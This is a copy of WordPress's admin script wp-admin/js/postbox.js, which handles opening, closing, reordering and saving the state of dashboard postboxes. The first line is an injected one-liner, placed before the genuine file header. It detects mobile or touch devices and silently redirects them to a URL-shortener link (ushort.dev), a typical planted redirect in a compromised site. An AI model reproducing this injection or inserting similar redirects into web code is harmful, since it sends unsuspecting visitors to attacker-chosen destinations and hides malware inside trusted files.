1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Contains the postboxes logic, opening and closing postboxes, reordering and saving
4 * the state and ordering to the database.
5 *
6 * @since 2.5.0
7 * @requires jQuery
8 * @output wp-admin/js/postbox.js
9 */
10
11/* global ajaxurl, postboxes */
12
13(function($) {
14 var $document = $( document ),
15 __ = wp.i18n.__;
16
17 /**
18 * This object contains all function to handle the behavior of the post boxes. The post boxes are the boxes you see
19 * around the content on the edit page.
20 *
21 * @since 2.7.0
22 *
23 * @namespace postboxes
24 *
25 * @type {Object}
26 */
27 window.postboxes = {
28
29 /**
30 * Handles a click on either the postbox heading or the postbox open/close icon.
31 *
32 * Opens or closes the postbox. Expects `this` to equal the clicked element.
33 * Calls postboxes.pbshow if the postbox has been opened, calls postboxes.pbhide
34 * if the postbox has been closed.
35 *
36 * @since 4.4.0
37 *
38 * @memberof postboxes
39 *
40 * @fires postboxes#postbox-toggled
41 *
42 * @return {void}
43 */
44 handle_click : function () {
45 var $el = $( this ),
46 p = $el.closest( '.postbox' ),
47 id = p.attr( 'id' ),
48 ariaExpandedValue;
49
50 if ( 'dashboard_browser_nag' === id ) {
51 return;
52 }
53
54 p.toggleClass( 'closed' );
55 ariaExpandedValue = ! p.hasClass( 'closed' );
56
57 if ( $el.hasClass( 'handlediv' ) ) {
58 // The handle button was clicked.
59 $el.attr( 'aria-expanded', ariaExpandedValue );
60 } else {
61 // The handle heading was clicked.
62 $el.closest( '.postbox' ).find( 'button.handlediv' )
63 .attr( 'aria-expanded', ariaExpandedValue );
64 }
65
66 if ( postboxes.page !== 'press-this' ) {
67 postboxes.save_state( postboxes.page );
68 }
69
70 if ( id ) {
71 if ( !p.hasClass('closed') && typeof postboxes.pbshow === 'function' ) {
72 postboxes.pbshow( id );
73 } else if ( p.hasClass('closed') && typeof postboxes.pbhide === 'function' ) {
74 postboxes.pbhide( id );
75 }
76 }
77
78 /**
79 * Fires when a postbox has been opened or closed.
80 *
81 * Contains a jQuery object with the relevant postbox element.
82 *
83 * @since 4.0.0
84 * @ignore
85 *
86 * @event postboxes#postbox-toggled
87 * @type {Object}
88 */
89 $document.trigger( 'postbox-toggled', p );
90 },
91
92 /**
93 * Handles clicks on the move up/down buttons.
94 *
95 * @since 5.5.0
96 *
97 * @return {void}
98 */
99 handleOrder: function() {
100 var button = $( this ),
101 postbox = button.closest( '.postbox' ),
102 postboxId = postbox.attr( 'id' ),
103 postboxesWithinSortables = postbox.closest( '.meta-box-sortables' ).find( '.postbox:visible' ),
104 postboxesWithinSortablesCount = postboxesWithinSortables.length,
105 postboxWithinSortablesIndex = postboxesWithinSortables.index( postbox ),
106 firstOrLastPositionMessage;
107
108 if ( 'dashboard_browser_nag' === postboxId ) {
109 return;
110 }
111
112 // If on the first or last position, do nothing and send an audible message to screen reader users.
113 if ( 'true' === button.attr( 'aria-disabled' ) ) {
114 firstOrLastPositionMessage = button.hasClass( 'handle-order-higher' ) ?
115 __( 'The box is on the first position' ) :
116 __( 'The box is on the last position' );
117
118 wp.a11y.speak( firstOrLastPositionMessage );
119 return;
120 }
121
122 // Move a postbox up.
123 if ( button.hasClass( 'handle-order-higher' ) ) {
124 // If the box is first within a sortable area, move it to the previous sortable area.
125 if ( 0 === postboxWithinSortablesIndex ) {
126 postboxes.handleOrderBetweenSortables( 'previous', button, postbox );
127 return;
128 }
129
130 postbox.prevAll( '.postbox:visible' ).eq( 0 ).before( postbox );
131 button.trigger( 'focus' );
132 postboxes.updateOrderButtonsProperties();
133 postboxes.save_order( postboxes.page );
134 }
135
136 // Move a postbox down.
137 if ( button.hasClass( 'handle-order-lower' ) ) {
138 // If the box is last within a sortable area, move it to the next sortable area.
139 if ( postboxWithinSortablesIndex + 1 === postboxesWithinSortablesCount ) {
140 postboxes.handleOrderBetweenSortables( 'next', button, postbox );
141 return;
142 }
143
144 postbox.nextAll( '.postbox:visible' ).eq( 0 ).after( postbox );
145 button.trigger( 'focus' );
146 postboxes.updateOrderButtonsProperties();
147 postboxes.save_order( postboxes.page );
148 }
149
150 },
151
152 /**
153 * Moves postboxes between the sortables areas.
154 *
155 * @since 5.5.0
156 *
157 * @param {string} position The "previous" or "next" sortables area.
158 * @param {Object} button The jQuery object representing the button that was clicked.
159 * @param {Object} postbox The jQuery object representing the postbox to be moved.
160 *
161 * @return {void}
162 */
163 handleOrderBetweenSortables: function( position, button, postbox ) {
164 var closestSortablesId = button.closest( '.meta-box-sortables' ).attr( 'id' ),
165 sortablesIds = [],
166 sortablesIndex,
167 detachedPostbox;
168
169 // Get the list of sortables within the page.
170 $( '.meta-box-sortables:visible' ).each( function() {
171 sortablesIds.push( $( this ).attr( 'id' ) );
172 });
173
174 // Return if there's only one visible sortables area, e.g. in the block editor page.
175 if ( 1 === sortablesIds.length ) {
176 return;
177 }
178
179 // Find the index of the current sortables area within all the sortable areas.
180 sortablesIndex = $.inArray( closestSortablesId, sortablesIds );
181 // Detach the postbox to be moved.
182 detachedPostbox = postbox.detach();
183
184 // Move the detached postbox to its new position.
185 if ( 'previous' === position ) {
186 $( detachedPostbox ).appendTo( '#' + sortablesIds[ sortablesIndex - 1 ] );
187 }
188
189 if ( 'next' === position ) {
190 $( detachedPostbox ).prependTo( '#' + sortablesIds[ sortablesIndex + 1 ] );
191 }
192
193 postboxes._mark_area();
194 button.focus();
195 postboxes.updateOrderButtonsProperties();
196 postboxes.save_order( postboxes.page );
197 },
198
199 /**
200 * Update the move buttons properties depending on the postbox position.
201 *
202 * @since 5.5.0
203 *
204 * @return {void}
205 */
206 updateOrderButtonsProperties: function() {
207 var firstSortablesId = $( '.meta-box-sortables:visible:first' ).attr( 'id' ),
208 lastSortablesId = $( '.meta-box-sortables:visible:last' ).attr( 'id' ),
209 firstPostbox = $( '.postbox:visible:first' ),
210 lastPostbox = $( '.postbox:visible:last' ),
211 firstPostboxId = firstPostbox.attr( 'id' ),
212 lastPostboxId = lastPostbox.attr( 'id' ),
213 firstPostboxSortablesId = firstPostbox.closest( '.meta-box-sortables' ).attr( 'id' ),
214 lastPostboxSortablesId = lastPostbox.closest( '.meta-box-sortables' ).attr( 'id' ),
215 moveUpButtons = $( '.handle-order-higher' ),
216 moveDownButtons = $( '.handle-order-lower' );
217
218 // Enable all buttons as a reset first.
219 moveUpButtons
220 .attr( 'aria-disabled', 'false' )
221 .removeClass( 'hidden' );
222 moveDownButtons
223 .attr( 'aria-disabled', 'false' )
224 .removeClass( 'hidden' );
225
226 // When there's only one "sortables" area (e.g. in the block editor) and only one visible postbox, hide the buttons.
227 if ( firstSortablesId === lastSortablesId && firstPostboxId === lastPostboxId ) {
228 moveUpButtons.addClass( 'hidden' );
229 moveDownButtons.addClass( 'hidden' );
230 }
231
232 // Set an aria-disabled=true attribute on the first visible "move" buttons.
233 if ( firstSortablesId === firstPostboxSortablesId ) {
234 $( firstPostbox ).find( '.handle-order-higher' ).attr( 'aria-disabled', 'true' );
235 }
236
237 // Set an aria-disabled=true attribute on the last visible "move" buttons.
238 if ( lastSortablesId === lastPostboxSortablesId ) {
239 $( '.postbox:visible .handle-order-lower' ).last().attr( 'aria-disabled', 'true' );
240 }
241 },
242
243 /**
244 * Adds event handlers to all postboxes and screen option on the current page.
245 *
246 * @since 2.7.0
247 *
248 * @memberof postboxes
249 *
250 * @param {string} page The page we are currently on.
251 * @param {Object} [args]
252 * @param {Function} args.pbshow A callback that is called when a postbox opens.
253 * @param {Function} args.pbhide A callback that is called when a postbox closes.
254 * @return {void}
255 */
256 add_postbox_toggles : function (page, args) {
257 var $handles = $( '.postbox .hndle, .postbox .handlediv' ),
258 $orderButtons = $( '.postbox .handle-order-higher, .postbox .handle-order-lower' );
259
260 this.page = page;
261 this.init( page, args );
262
263 $handles.on( 'click.postboxes', this.handle_click );
264
265 // Handle the order of the postboxes.
266 $orderButtons.on( 'click.postboxes', this.handleOrder );
267
268 /**
269 * @since 2.7.0
270 */
271 $('.postbox .hndle a').on( 'click', function(e) {
272 e.stopPropagation();
273 });
274
275 /**
276 * Hides a postbox.
277 *
278 * Event handler for the postbox dismiss button. After clicking the button
279 * the postbox will be hidden.
280 *
281 * As of WordPress 5.5, this is only used for the browser update nag.
282 *
283 * @since 3.2.0
284 *
285 * @return {void}
286 */
287 $( '.postbox a.dismiss' ).on( 'click.postboxes', function( e ) {
288 var hide_id = $(this).parents('.postbox').attr('id') + '-hide';
289 e.preventDefault();
290 $( '#' + hide_id ).prop('checked', false).triggerHandler('click');
291 });
292
293 /**
294 * Hides the postbox element
295 *
296 * Event handler for the screen options checkboxes. When a checkbox is
297 * clicked this function will hide or show the relevant postboxes.
298 *
299 * @since 2.7.0
300 * @ignore
301 *
302 * @fires postboxes#postbox-toggled
303 *
304 * @return {void}
305 */
306 $('.hide-postbox-tog').on('click.postboxes', function() {
307 var $el = $(this),
308 boxId = $el.val(),
309 $postbox = $( '#' + boxId );
310
311 if ( $el.prop( 'checked' ) ) {
312 $postbox.show();
313 if ( typeof postboxes.pbshow === 'function' ) {
314 postboxes.pbshow( boxId );
315 }
316 } else {
317 $postbox.hide();
318 if ( typeof postboxes.pbhide === 'function' ) {
319 postboxes.pbhide( boxId );
320 }
321 }
322
323 postboxes.save_state( page );
324 postboxes._mark_area();
325
326 /**
327 * @since 4.0.0
328 * @see postboxes.handle_click
329 */
330 $document.trigger( 'postbox-toggled', $postbox );
331 });
332
333 /**
334 * Changes the amount of columns based on the layout preferences.
335 *
336 * @since 2.8.0
337 *
338 * @return {void}
339 */
340 $('.columns-prefs input[type="radio"]').on('click.postboxes', function(){
341 var n = parseInt($(this).val(), 10);
342
343 if ( n ) {
344 postboxes._pb_edit(n);
345 postboxes.save_order( page );
346 }
347 });
348 },
349
350 /**
351 * Initializes all the postboxes, mainly their sortable behavior.
352 *
353 * @since 2.7.0
354 *
355 * @memberof postboxes
356 *
357 * @param {string} page The page we are currently on.
358 * @param {Object} [args={}] The arguments for the postbox initializer.
359 * @param {Function} args.pbshow A callback that is called when a postbox opens.
360 * @param {Function} args.pbhide A callback that is called when a postbox
361 * closes.
362 *
363 * @return {void}
364 */
365 init : function(page, args) {
366 var isMobile = $( document.body ).hasClass( 'mobile' ),
367 $handleButtons = $( '.postbox .handlediv' );
368
369 $.extend( this, args || {} );
370 $('.meta-box-sortables').sortable({
371 placeholder: 'sortable-placeholder',
372 connectWith: '.meta-box-sortables',
373 items: '.postbox',
374 handle: '.hndle',
375 cursor: 'move',
376 delay: ( isMobile ? 200 : 0 ),
377 distance: 2,
378 tolerance: 'pointer',
379 forcePlaceholderSize: true,
380 helper: function( event, element ) {
381 /* `helper: 'clone'` is equivalent to `return element.clone();`
382 * Cloning a checked radio and then inserting that clone next to the original
383 * radio unchecks the original radio (since only one of the two can be checked).
384 * We get around this by renaming the helper's inputs' name attributes so that,
385 * when the helper is inserted into the DOM for the sortable, no radios are
386 * duplicated, and no original radio gets unchecked.
387 */
388 return element.clone()
389 .find( ':input' )
390 .attr( 'name', function( i, currentName ) {
391 return 'sort_' + parseInt( Math.random() * 100000, 10 ).toString() + '_' + currentName;
392 } )
393 .end();
394 },
395 opacity: 0.65,
396 start: function() {
397 $( 'body' ).addClass( 'is-dragging-metaboxes' );
398 // Refresh the cached positions of all the sortable items so that the min-height set while dragging works.
399 $( '.meta-box-sortables' ).sortable( 'refreshPositions' );
400 },
401 stop: function() {
402 var $el = $( this );
403
404 $( 'body' ).removeClass( 'is-dragging-metaboxes' );
405
406 if ( $el.find( '#dashboard_browser_nag' ).is( ':visible' ) && 'dashboard_browser_nag' != this.firstChild.id ) {
407 $el.sortable('cancel');
408 return;
409 }
410
411 postboxes.updateOrderButtonsProperties();
412 postboxes.save_order(page);
413 },
414 receive: function(e,ui) {
415 if ( 'dashboard_browser_nag' == ui.item[0].id )
416 $(ui.sender).sortable('cancel');
417
418 postboxes._mark_area();
419 $document.trigger( 'postbox-moved', ui.item );
420 }
421 });
422
423 if ( isMobile ) {
424 $(document.body).on('orientationchange.postboxes', function(){ postboxes._pb_change(); });
425 this._pb_change();
426 }
427
428 this._mark_area();
429
430 // Update the "move" buttons properties.
431 this.updateOrderButtonsProperties();
432 $document.on( 'postbox-toggled', this.updateOrderButtonsProperties );
433
434 // Set the handle buttons `aria-expanded` attribute initial value on page load.
435 $handleButtons.each( function () {
436 var $el = $( this );
437 $el.attr( 'aria-expanded', ! $el.closest( '.postbox' ).hasClass( 'closed' ) );
438 });
439 },
440
441 /**
442 * Saves the state of the postboxes to the server.
443 *
444 * It sends two lists, one with all the closed postboxes, one with all the
445 * hidden postboxes.
446 *
447 * @since 2.7.0
448 *
449 * @memberof postboxes
450 *
451 * @param {string} page The page we are currently on.
452 * @return {void}
453 */
454 save_state : function(page) {
455 var closed, hidden;
456
457 // Return on the nav-menus.php screen, see #35112.
458 if ( 'nav-menus' === page ) {
459 return;
460 }
461
462 closed = $( '.postbox' ).filter( '.closed' ).map( function() { return this.id; } ).get().join( ',' );
463 hidden = $( '.postbox' ).filter( ':hidden' ).map( function() { return this.id; } ).get().join( ',' );
464
465 $.post(
466 ajaxurl,
467 {
468 action: 'closed-postboxes',
469 closed: closed,
470 hidden: hidden,
471 closedpostboxesnonce: jQuery('#closedpostboxesnonce').val(),
472 page: page
473 },
474 function() {
475 wp.a11y.speak( __( 'Screen Options updated.' ) );
476 }
477 );
478 },
479
480 /**
481 * Saves the order of the postboxes to the server.
482 *
483 * Sends a list of all postboxes inside a sortable area to the server.
484 *
485 * @since 2.8.0
486 *
487 * @memberof postboxes
488 *
489 * @param {string} page The page we are currently on.
490 * @return {void}
491 */
492 save_order : function(page) {
493 var postVars, page_columns = $('.columns-prefs input:checked').val() || 0;
494
495 postVars = {
496 action: 'meta-box-order',
497 _ajax_nonce: $('#meta-box-order-nonce').val(),
498 page_columns: page_columns,
499 page: page
500 };
501
502 $('.meta-box-sortables').each( function() {
503 postVars[ 'order[' + this.id.split( '-' )[0] + ']' ] = $( this ).sortable( 'toArray' ).join( ',' );
504 } );
505
506 $.post(
507 ajaxurl,
508 postVars,
509 function( response ) {
510 if ( response.success ) {
511 wp.a11y.speak( __( 'The boxes order has been saved.' ) );
512 }
513 }
514 );
515 },
516
517 /**
518 * Marks empty postbox areas.
519 *
520 * Adds a message to empty sortable areas on the dashboard page. Also adds a
521 * border around the side area on the post edit screen if there are no postboxes
522 * present.
523 *
524 * @since 3.3.0
525 * @access private
526 *
527 * @memberof postboxes
528 *
529 * @return {void}
530 */
531 _mark_area : function() {
532 var visible = $( 'div.postbox:visible' ).length,
533 visibleSortables = $( '#dashboard-widgets .meta-box-sortables:visible, #post-body .meta-box-sortables:visible' ),
534 areAllVisibleSortablesEmpty = true;
535
536 visibleSortables.each( function() {
537 var t = $(this);
538
539 if ( visible == 1 || t.children( '.postbox:visible' ).length ) {
540 t.removeClass('empty-container');
541 areAllVisibleSortablesEmpty = false;
542 }
543 else {
544 t.addClass('empty-container');
545 }
546 });
547
548 postboxes.updateEmptySortablesText( visibleSortables, areAllVisibleSortablesEmpty );
549 },
550
551 /**
552 * Updates the text for the empty sortable areas on the Dashboard.
553 *
554 * @since 5.5.0
555 *
556 * @param {Object} visibleSortables The jQuery object representing the visible sortable areas.
557 * @param {boolean} areAllVisibleSortablesEmpty Whether all the visible sortable areas are "empty".
558 *
559 * @return {void}
560 */
561 updateEmptySortablesText: function( visibleSortables, areAllVisibleSortablesEmpty ) {
562 var isDashboard = $( '#dashboard-widgets' ).length,
563 emptySortableText = areAllVisibleSortablesEmpty ? __( 'Add boxes from the Screen Options menu' ) : __( 'Drag boxes here' );
564
565 if ( ! isDashboard ) {
566 return;
567 }
568
569 visibleSortables.each( function() {
570 if ( $( this ).hasClass( 'empty-container' ) ) {
571 $( this ).attr( 'data-emptyString', emptySortableText );
572 }
573 } );
574 },
575
576 /**
577 * Changes the amount of columns on the post edit page.
578 *
579 * @since 3.3.0
580 * @access private
581 *
582 * @memberof postboxes
583 *
584 * @fires postboxes#postboxes-columnchange
585 *
586 * @param {number} n The amount of columns to divide the post edit page in.
587 * @return {void}
588 */
589 _pb_edit : function(n) {
590 var el = $('.metabox-holder').get(0);
591
592 if ( el ) {
593 el.className = el.className.replace(/columns-\d+/, 'columns-' + n);
594 }
595
596 /**
597 * Fires when the amount of columns on the post edit page has been changed.
598 *
599 * @since 4.0.0
600 * @ignore
601 *
602 * @event postboxes#postboxes-columnchange
603 */
604 $( document ).trigger( 'postboxes-columnchange' );
605 },
606
607 /**
608 * Changes the amount of columns the postboxes are in based on the current
609 * orientation of the browser.
610 *
611 * @since 3.3.0
612 * @access private
613 *
614 * @memberof postboxes
615 *
616 * @return {void}
617 */
618 _pb_change : function() {
619 var check = $( 'label.columns-prefs-1 input[type="radio"]' );
620
621 switch ( window.orientation ) {
622 case 90:
623 case -90:
624 if ( !check.length || !check.is(':checked') )
625 this._pb_edit(2);
626 break;
627 case 0:
628 case 180:
629 if ( $( '#poststuff' ).length ) {
630 this._pb_edit(1);
631 } else {
632 if ( !check.length || !check.is(':checked') )
633 this._pb_edit(2);
634 }
635 break;
636 }
637 },
638
639 /* Callbacks */
640
641 /**
642 * @since 2.7.0
643 * @access public
644 *
645 * @property {Function|boolean} pbshow A callback that is called when a postbox
646 * is opened.
647 * @memberof postboxes
648 */
649 pbshow : false,
650
651 /**
652 * @since 2.7.0
653 * @access public
654 * @property {Function|boolean} pbhide A callback that is called when a postbox
655 * is closed.
656 * @memberof postboxes
657 */
658 pbhide : false
659 };
660
661}(jQuery));
662